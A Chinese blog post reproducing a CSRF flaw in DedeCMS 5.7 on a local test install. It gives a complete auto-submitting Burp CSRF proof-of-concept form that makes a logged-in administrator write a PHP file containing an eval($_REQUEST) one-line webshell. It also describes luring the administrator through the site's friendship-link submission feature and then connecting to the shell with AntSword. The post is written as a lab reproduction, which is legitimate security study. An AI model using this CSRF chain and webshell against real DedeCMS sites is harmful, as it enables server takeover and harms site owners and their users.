DedeCMS织梦5.7--CSRF漏洞复现

dedecms前端底部存在【友情链接--申请加入】功能入口,提交的链接会进入后端【模块--友情链接】的待审列表。如果该流程缺乏安全校验,可能被用于 CSRF 诱导链------若攻击者提交一个指向CSRF POC页面的链接,当管理员在已登录状态下访问该链接,是否可能触发后台危险操作?


将5.7版本的dedecms部署到本地phpstudy的www目录下

我在网上找了好久的这个版本的dedecms,在这里分享出来,大家可以直接下载

通过网盘分享的文件:dedecms.zip

https://pan.baidu.com/s/12Pp6xheQ7tFekoAjUOIFGw

提取码: j2e6

默认后台登录路径:拼接dede,进入后台,可以直观地看到我们文件的操作

默认管理员的用户名和密码都是admin

左侧核心--文件式管理器--新建文件

写入一句话木马

bp抓包,抓保存时的包,可以看到包中含有刚刚写入文件的木马

然后生成poc用于验证是否含有csrf

复制生成的HTML,在桌面新建一个.html文件,粘贴进去

复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/dedecms/uploads/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;dedecms&#47;uploads&#47;uploads" />
      <input type="hidden" name="filename" value="222&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;REQUEST&#91;'123'&#93;&#41;&#59;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;ä&#191;&#157;&#32;å&#173;&#152;&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

将这里文件名改为222,便于和我们新建文件时上传的muma.php文件进行区分

回到dedecms,可以看到我们bp将包放掉后muma.php文件就上传成功了

打开上面创建的.html,点击submit request

登陆进去,得到此url

模块--友情链接--增加链接

将得到的url填入网址栏,提交

点击新建的链接,会有报错但不用管

回到自己创建的写有poc的网页,点击浏览器左上角向左回退的箭头,退到submit request页面,再次点击,发现从poc的222.php文件上传成功了

回到原网站,刷新,222.php文件也上传成功

说明该网页存在csrf

(注:如果写入poc的html页面登录进去没有222.php文件,浏览器左上角箭头回退到submit request再登录多试两次,或者从抓包开始到这步重复两次222.php文件就有了,本人也是重复了好几遍,感觉应该是网站的问题)

蚁剑成功连接,说明木马写入成功

或者访问222.php文件,并且传参phpinfo,成功,也说明木马写入成功

相关推荐
架构技术专栏10 小时前
Agent 工具调用:从工具声明到执行反馈
前端·人工智能·后端
别动我齐刘海10 小时前
C++ 工程化学习
java·linux·前端·c++·学习·机器学习·机器人
志尊宝11 小时前
Vue3 零基础每日笔记(071):暗黑模式与主题切换——CSS 变量 + Element Plus 暗黑方案
前端·css·笔记·vue·html·前端开发·软件开发
刘发财12 小时前
前端如何生成10000页PDF文件?
前端·javascript·开源
A接拉起00712 小时前
2026 年 JavaScript 开发者需要了解的知识
前端·javascript·后端
用户114818678948412 小时前
面试官:大屏项目里十几个模块同时渲染上万条数据,怎么做到不卡?
前端·性能优化
前端市界12 小时前
Pro React Admin: 统一工程底座,承载多种应用...
前端·github
葡萄城技术团队12 小时前
dsh-spreadjs-editor 当前支持什么:安装前需要了解的几件事
前端
三*一13 小时前
优化修整算法
前端·javascript·算法
weifont14 小时前
自动化抓取和上架商品:能不动手,就少动手
运维·前端·自动化